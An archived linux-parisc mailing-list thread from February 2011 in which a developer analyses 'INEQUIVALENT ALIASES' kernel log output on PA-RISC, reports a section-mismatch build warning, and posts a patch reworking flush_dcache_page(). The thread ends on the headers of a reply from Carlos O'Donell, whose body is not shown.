> disabled.  So, I plan to see if read write locks can be used without
> disabling interrupts.

Read write locks won't work.  "spin_lock_irq(&mapping->tree_lock)" is
used extensively in the mm code.

To get a better idea of the maps when we have INEQUIVALENT ALIASES, I
changed the code to print the complete set.  old_addr is the first address
in the list.

Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x40a7e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x40a7e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x41a7e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x41e7e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x41e7e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027e000 in
 file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x40a7e000 in
 file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in
 file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in
 file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x41e7e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x41e7e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4127e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4127e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x40e7e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x40a7e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4127e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027e000 in file libc-2.11.2.so with flags 0x8100077
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x40a7d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x40a7d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x41a7d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x41e7d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x41e7d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x40a7d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x41e7d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x41e7d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4127d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4127d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x40e7d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x40a7d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4127d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4067d000 in file libc-2.11.2.so with flags 0x8100075
Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027d000 in file libc-2.11.2.so with flags 0x8100075

As can be seen, the list is quite long and contains numerous duplicate entries.
I think all the entries with VM_WRITE set in flags are equivalent.  Same for
the entries where VM_WRITE is not set.  I'm not sure what can be assumed
about the list order, but the two sets are grouped in this case.  So, the
technique used in James' change seems reasonably good for this case.

It might be two passes over the list should be used to first flush shared
writeable maps, and then another pass to invalidate the other maps.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Section mismatch seen building 2.6.38-rc4-next-20110211+
Date: Sun, 13 Feb 2011 22:49:16 -0500
Organization: nrc.ca
Lines: 27
Approved: news@gmane.org
Message-ID: <20110214034915.GA917@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1297655363 19604 80.91.229.12 (14 Feb 2011 03:49:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Feb 2011 03:49:23 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 14 04:49:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PopR8-0004yJ-OF
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Feb 2011 04:49:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755433Ab1BNDtS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Feb 2011 22:49:18 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3933 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755145Ab1BNDtS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Feb 2011 22:49:18 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id BE4F04EDA; Sun, 13 Feb 2011 22:49:16 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3453
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3453>

WARNING: vmlinux.o(.data+0x241b0): Section mismatch in reference from the variab
le lba_driver to the function .init.text:lba_driver_probe()
The variable lba_driver references
the function __init lba_driver_probe()
If the reference is valid then annotate the
variable with __init* or __refdata (see linux/init.h) or name the variable:
*_template, *_timer, *_sht, *_ops, *_probe, *_probe_one, *_console, 

WARNING: vmlinux.o(.data+0x24250): Section mismatch in reference from the variab
le superio_driver to the function .init.text:superio_probe()
The variable superio_driver references
the function __init superio_probe()
If the reference is valid then annotate the
variable with __init* or __refdata (see linux/init.h) or name the variable:
*_template, *_timer, *_sht, *_ops, *_probe, *_probe_one, *_console, 

Good news is the kernel (UP 32-bit) boots without problems on c3750.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Mon, 14 Feb 2011 20:58:53 -0500
Organization: nrc.ca
Lines: 138
Approved: news@gmane.org
Message-ID: <20110215015852.GA6615@hiauly1.hia.nrc.ca>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> <20110210200044.203164E01@hiauly1.hia.nrc.ca> <20110212161846.GA24076@hiauly1.hia.nrc.ca> <20110213193934.GA28834@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1297735146 7606 80.91.229.12 (15 Feb 2011 01:59:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 Feb 2011 01:59:06 +0000 (UTC)
To: James.Bottomley@HansenPartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 15 02:59:01 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PpABu-00014u-54
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Feb 2011 02:58:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752521Ab1BOB65 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Feb 2011 20:58:57 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:4581 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751196Ab1BOB64 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Feb 2011 20:58:56 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 17BA04DF4; Mon, 14 Feb 2011 20:58:53 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110213193934.GA28834@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3454
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3454>

On Sun, 13 Feb 2011, John David Anglin wrote:

> Feb 13 07:00:24 mx3210 kernel: INEQUIVALENT ALIASES 0x40a7e000 and 0x4027d000 in file libc-2.11.2.so with flags 0x8100075

I'm testing a binutils change to the default linker scrip for ld to
align the file offset for the data segment to a page boundary.  This
should eliminate this source of inequivalent aliases.

> It might be two passes over the list should be used to first flush shared
> writeable maps, and then another pass to invalidate the other maps.

I made the following change to flush_dcache_page().  Although a bit ugly,
it handles the boundary page issue in one pass.

With it, I see another type of inequivalent aliases in the GCC C testsuite:

Feb 14 07:48:06 mx3210 kernel: INEQUIVALENT ALIASES: page 0x4282e520 addr 0x40738000 in file libc-2.11.2.so with flags 0x8100075
Feb 14 07:48:06 mx3210 kernel: INEQUIVALENT ALIASES: page 0x4282e520 addr 0x40738000 in file libc-2.11.2.so with flags 0x8100075
Feb 14 07:48:06 mx3210 kernel: INEQUIVALENT ALIASES: page 0x4282e520 addr 0x40738000 in file libc-2.11.2.so with flags 0x8100075
...
Feb 14 07:48:06 mx3210 kernel: INEQUIVALENT ALIASES: page 0x4282e520 addr 0x4033
8000 in file libc-2.11.2.so with flags 0x8100075
Feb 14 07:48:06 mx3210 kernel: INEQUIVALENT ALIASES: page 0x4282e520 addr 0x40f3
8000 in file libc-2.11.2.so with flags 0x8100075
Feb 14 07:48:06 mx3210 kernel: INEQUIVALENT ALIASES: page 0x4282e520 addr 0x411e
8000 in file libc-2.11.2.so with flags 0x8000071

i haven't tracked down where these come from but this looks like a glibc issue.
Note the final vm_flags value for the final map.  This is the inequivalent one.
As far as I know, the GCC testsuite does not play with MAP_FIXED maps.

Carlos, any thoughts on where this might come from?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 3f11331..f90a330 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -276,10 +278,10 @@ __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 void flush_dcache_page(struct page *page)
 {
 	struct address_space *mapping = page_mapping(page);
-	struct vm_area_struct *mpnt;
+	struct vm_area_struct *mpnt, *mpnt_wrt, *mpnt_nwrt;
 	struct prio_tree_iter iter;
 	unsigned long offset;
-	unsigned long addr, old_addr = 0;
+	unsigned long addr, addr_wrt, addr_nwrt;
 	pgoff_t pgoff;
 
 	if (mapping && !mapping_mapped(mapping)) {
@@ -292,26 +294,69 @@ void flush_dcache_page(struct page *page)
 	if (!mapping)
 		return;
 
+	addr_wrt = 0;
+	mpnt_wrt = NULL;
+	addr_nwrt = 0;
+	mpnt_nwrt = NULL;
 	pgoff = page->index << (PAGE_CACHE_SHIFT - PAGE_SHIFT);
 
 	/* We have carefully arranged in arch_get_unmapped_area() that
-	 * *any* mappings of a file are always congruently mapped (whether
-	 * declared as MAP_PRIVATE or MAP_SHARED), so we only need
-	 * to flush one address here for them all to become coherent */
+	 * all shared mappings of a file are congruently mapped, so we
+	 * only need to flush one address here for them all to become
+	 * coherent.  However, non-shared fixed mappings of executables
+	 * are not congruently mapped on the boundary page between text
+	 * and data.  Further, the data segment sometimes occurs before
+	 * the text segment.  While it is unlikely that a dirty cache
+	 * line would result from accesses through the text mapping,
+	 * it is possible that this could occur since binutils doesn't
+	 * ensure that the data segment starts on a page boundary.  */
 
 	flush_dcache_mmap_lock(mapping);
+
+	/* Scan for inequivalent aliases.  */
 	vma_prio_tree_foreach(mpnt, &iter, &mapping->i_mmap, pgoff, pgoff) {
 		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
 		addr = mpnt->vm_start + offset;
 
-		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
-			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
-				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
-			old_addr = addr;
+		if (mpnt->vm_flags & VM_WRITE) {
+			if (addr_wrt == 0) {
+				addr_wrt = addr;
+				mpnt_wrt = mpnt;
+			}
+			else if ((addr_wrt & (SHMLBA - 1)) != (addr & (SHMLBA - 1)))
+				goto flush_inequivalent;
 		}
+		else {
+			if (addr_nwrt == 0) {
+				addr_nwrt = addr;
+				mpnt_nwrt = mpnt;
+			}
+			else if ((addr_nwrt & (SHMLBA - 1)) != (addr & (SHMLBA - 1)))
+				goto flush_inequivalent;
+		}
+	}
+	flush_dcache_mmap_unlock(mapping);
+
+	/* Common case where all writeable aliases are equivalent and
+	 * all non writeable aliases are equivalent.  */
+	if (addr_wrt)
+		__flush_cache_page(mpnt_wrt, addr_wrt, page_to_phys(page));
+	if (addr_nwrt &&
+	    (!addr_wrt || (addr_nwrt & (SHMLBA - 1)) != (addr_wrt & (SHMLBA - 1))))
+		__flush_cache_page(mpnt_nwrt, addr_nwrt, page_to_phys(page));
+	return;
+
+flush_inequivalent:
+	vma_prio_tree_foreach(mpnt, &iter, &mapping->i_mmap, pgoff, pgoff) {
+		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
+		addr = mpnt->vm_start + offset;
+
+		printk(KERN_ERR "INEQUIVALENT ALIASES: page 0x%lx addr 0x%lx in file %s with flags 0x%lx\n", (unsigned long) page, addr, mpnt->vm_file ? (char *) mpnt->vm_file->f_path.dentry->d_name.name : "(null)", mpnt->vm_flags);
+
+		__flush_cache_page(mpnt, addr, page_to_phys(page));
 	}
 	flush_dcache_mmap_unlock(mapping);
+	return;
 }
 EXPORT_SYMBOL(flush_dcache_page);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Tue, 15 Feb 2011 10:13:51 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca>
	<20110210200044.203164E01@hiauly1.hia.nrc.ca>
	<20110212161846.GA24076@hiauly1.hia.nrc.ca>
	<20110213193934.GA28834@hiauly1.hia.nrc.ca>
	<20110215015852.GA6615@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1297782842 6275 80.91.229.12 (15 Feb 2011 15:14:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 Feb 2011 15:14:02 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 15 16:13:57 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PpMbC-00013q-T7
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Feb 2011 16:13:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753214Ab1BOPNy convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Feb 2011 10:13:54 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:57451 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751106Ab1BOPNx convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Feb 2011 10:13:53 -0500
Original-Received: by bwz15 with SMTP id 15so528414bwz.19
        for <linux-parisc@vger.kernel.org>; Tue, 15 Feb 2011 07:13:52 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=PZdkJC6vgLXqLjbtFUp/cJDJOtajgOIOU9oSTBoo7qw=;
        b=n1W71J89ud3rUdIvuHKx49aj4w1bVIwMOHvKnhNs2hX8WFlacf1LncL08NwAXTxGYY
         I4T9RPpVUZMmPKf9+cdzjhNenjZrseBQ/HRl80pYb/IBpmK8XH0Hw12ZE0z4UHZ90DzZ
         xdDbnbsVqUMPikQRo+IRLppm36p7uNnQTKdGg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=d8hLsiJIsiSULLp6Mtp0kAoJs8oj9YonMcC/L2CwTHrpeK4rpOwf2s/oC0iYDGMQqS
         o0VpWQ3LfjEmte0Z3DoACEb5KI8Yf85z/5kJfkRPAv0ukD8YElH5HFnHhql7yWe/A7p4
         e56b/nktrV0laCauxzB1XPKhAx5UlNAOfNKLA=
Original-Received: by 10.204.46.130 with SMTP id j2mr18222628bkf.169.1297782831781;
 Tue, 15 Feb 2011 07:13:51 -0800 (PST)
Original-Received: by 10.204.69.130 with HTTP; Tue, 15 Feb 2011 07:13:51 -0800 (PST)
In-Reply-To: <20110215015852.GA6615@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: jceSKguyoFyXylbAWyHKF86EckM
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3455
